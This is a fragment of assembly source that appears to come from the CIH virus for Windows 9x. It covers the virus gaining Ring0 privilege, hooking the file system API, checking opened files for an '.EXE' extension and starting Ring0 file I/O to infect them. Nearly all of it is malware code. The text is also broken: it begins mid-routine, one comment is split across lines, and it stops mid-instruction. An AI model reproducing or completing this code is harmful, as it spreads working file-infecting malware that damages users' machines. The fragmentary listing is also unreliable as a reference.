cih1.2.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

                        mov     OldInstallFileSystemApiHook-@3[eax], edx         
                                                                                 
                        ; Modify IFSMgr_InstallFileSystemApiHook Entry Point     
                        lea     eax, InstallFileSystemApiHook-@3[eax]            
                        mov     [ecx], eax                                       
                                                                                 
                        cli                                                      
                                                                                 
                        jmp     ExitRing0Init                                    
                                                                                 
; *********************************************************                      
; *             Code Size of Merge Virus Code Section     *                      
; *********************************************************                      
                                                                                 
CodeSizeOfMergeVirusCodeSection         =       offset $                         
                                                                                 
; *********************************************************                      
; *             IFSMgr_InstallFileSystemApiHook           *                      
; *********************************************************                      
                                                                                 
InstallFileSystemApiHook:                                                        
                        push    ebx                                              
                                                                                 
                        call    @4      ;                                        
@4:                                     ;                                        
                        pop     ebx     ; mov ebx, offset FileSystemApiHook      
                        add     ebx, FileSystemApiHook-@4       ;                
                                                                                 
                        push    ebx                                              
                        int     20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook    
IFSMgr_RemoveFileSystemApiHook  =       $                                        
                        dd      00400068h       ; Use EAX, ECX, EDX, and flags   
                        pop     eax                                              
                                                                                 
                        ; Call Original IFSMgr_InstallFileSystemApiHook          
                        ; to Link Client FileSystemApiHook                       
                        push    dword ptr [esp+8]                                
                        call    OldInstallFileSystemApiHook-@3[ebx]              
                        pop     ecx                                              
                                                                                 
                        push    eax                                              
                                                                                 
                        ; Call Original IFSMgr_InstallFileSystemApiHook          
                        ; to Link My FileSystemApiHook                           
                        push    ebx                                              
                        call    OldInstallFileSystemApiHook-@3[ebx]              
                        pop     ecx                                              
                                                                                 
                        mov     dr0, eax        ; Adjust OldFileSystemApiHook A  
ress                                                                             
                                                                                 
                        pop     eax                                              
                                                                                 
                        pop     ebx                                              
                                                                                 
                        ret                                                      
                                                                                 
; *********************************************************                      
; *                     Static Data                       *                      
; *********************************************************                      
                                                                                 
OldInstallFileSystemApiHook     dd      ?                                        
                                                                                 
; *********************************************************                      
; *             IFSMgr_FileSystemHook                     *                      
; *********************************************************                      
                                                                                 
; *************************************                                          
; * IFSMgr_FileSystemHook Entry Point *                                          
; *************************************                                          
                                                                                 
FileSystemApiHook:                                                               
@3                      =       FileSystemApiHook                                
                                                                                 
                        pushad                                                   
                                                                                 
                        call    @5      ;                                        
                        je      CallUniToBCSPath                                 
                                                                                 
                        add     al, 40h                                          
                        mov     ah, ':'                                          
                                                                                 
                        mov     [esi], eax                                       
                                                                                 
                        inc     esi                                              
                        inc     esi                                              
                                                                                 
; *************************************                                          
; * UniToBCSPath                      *                                          
; *************************************                                          
; * This Service Converts             *                                          
; * a Canonicalized Unicode Pathname  *                                          
; * to a Normal Pathname in the       *                                          
; * Specified BCS Character Set.      *                                          
; *************************************                                          
                                                                                 
CallUniToBCSPath:                                                                
                        push    00000000h                                        
                        push    FileNameBufferSize                               
                        mov     ebx, [ebx+10h]                                   
                        mov     eax, [ebx+0ch]                                   
                        add     eax, 04h                                         
                        push    eax                                              
                        push    esi                                              
                        int     20h     ; VXDCall UniToBCSPath                   
UniToBCSPath            =       $                                                
                        dd      00400041h                                        
                        add     esp, 04h*04h                                     
                                                                                 
; *************************************                                          
; * Is FileName '.EXE' !?             *                                          
; *************************************                                          
                                                                                 
                        ; cmp [esi+eax-04h], '.EXE'                              
                        cmp     [esi+eax-04h], 'EXE.'                            
                        pop     esi                                              
                        jne     DisableOnBusy                                    
                                                                                 
IF      DEBUG                                                                    
                                                                                 
; *************************************                                          
; * Only for Debug                    *                                          
; *************************************                                          
                                                                                 
                        ; cmp [esi+eax-06h], 'FUCK'                              
                        cmp     [esi+eax-06h], 'KCUF'                            
                        jne     DisableOnBusy                                    
                                                                                 
ENDIF                                                                            
                                                                                 
; *************************************                                          
; * Is Open Existing File !?          *                                          
; *************************************                                          
                                                                                 
                        ; if ( NotOpenExistingFile )                             
                        ; goto DisableOnBusy                                     
                        cmp     word ptr [ebx+18h], 01h                          
                        jne     DisableOnBusy                                    
                                                                                 
; *************************************                                          
; * Get Attributes of the File        *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4300h                                        
                        int     20h     ; VXDCall IFSMgr_Ring0_FileIO            
IFSMgr_Ring0_FileIO     =       $                                                
                        dd      00400032h                                        
                                                                                 
                        jc      DisableOnBusy                                    
                                                                                 
                        push    ecx                                              
                                                                                 
; *************************************                                          
; * Get IFSMgr_Ring0_FileIO Address   *                                          
; *************************************                                          
                                                                                 
                        mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]     
                        mov     edi, [edi]